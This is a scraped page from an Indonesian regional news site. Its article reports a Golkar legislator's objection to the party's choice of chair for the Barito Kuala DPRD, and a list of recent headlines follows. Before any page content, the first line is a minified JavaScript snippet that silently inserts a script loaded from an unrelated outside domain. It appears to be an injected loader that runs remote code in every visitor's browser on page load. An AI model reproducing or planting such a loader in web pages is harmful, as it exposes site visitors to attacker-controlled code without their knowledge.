(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BARITO KUALA

Syarif Faisal, Ajukan Keberatan Penetapan Pimpinan DPRD Batola


KANALKALIMANTAN.COM, MARABAHAN- Syarif Faisal, anggota DPRD Kabupaten Barito Kuala (Batola) terpilih periode 2024-2029 dari Partai Golkar, menyatakan sikap keberatan atas penunjukan Ayu Dyan Lilian Sari Waryono sebagai pimpinan DPRD Batola. Penetapan Ayu sebagai ketua DPRD periode 2024-2029 tersebut didasarkan pada surat keputusan DPP Partai Golkar yang dikeluarkan pada 18 September 2024.

Keputusan ini memicu keberatan dari Syarif Faisal, yang merasa lebih memenuhi kriteria untuk posisi pimpinan berdasarkan perolehan suara dan latar belakang organisasi. Dalam Pemilu Februari 2024 lalu, Syarif meraih 5.203 suara, lebih tinggi dibandingkan perolehan Ayu yang mencapai 4.370 suara.

Syarif juga menyoroti perbedaan latar belakang pendidikan dan posisi Ayu di Partai Golkar. Dengan pendidikan Diploma 3, Ayu dianggap tidak memenuhi syarat berdasarkan pedoman partai, selain posisinya yang hanya menjabat di tingkat kecamatan dan bukan sebagai pengurus di tingkat kabupaten.

Sebaliknya, Syarif yang sudah bergabung sebagai kader senior di DPD Partai Golkar Batola sejak 2007, memiliki gelar sarjana.

“Seluruh pengurus, fraksi, dan ketua kecamatan Partai Golkar sepakat meminta rapat pleno ulang dan meninjau kembali penunjukan Saudari Ayu sebagai Ketua DPRD Batola,” ungkap Syarif pada Sabtu, 21 September 2024.

Syarif juga menyatakan bahwa penunjukan ini dapat menimbulkan persepsi buruk di kalangan kader, dengan mengatakan, “Saya berjuang keras dalam Pileg dan memperoleh suara terbanyak. Jangan sampai partai ini terkesan seperti tempat jual beli jabatan yang mengabaikan kader yang telah lama berjuang.”

Sementara itu, Ketua Dewan Penasehat DPD Golkar Batola, Mahali, turut merespons dengan meminta DPP Golkar untuk mempertimbangkan ulang keputusan tersebut. Menurutnya, penunjukan Ayu tidak sejalan dengan hasil Rapat Pimpinan Nasional V Partai Golkar tahun 2013 yang mengatur pedoman pemilihan pimpinan di legislatif dari Partai Golkar.

“Kami berharap penetapan ini bisa ditinjau kembali agar sesuai dengan rekomendasi yang telah disepakati dalam Rapimnas,” tegas Mahali. (www.kanalkalimantan.com/rls)

Reporter: rls
Editor: rdy


Muhammad Andi

Recent Posts

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

38 menit ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

4 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

20 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

22 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

22 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

This website uses cookies.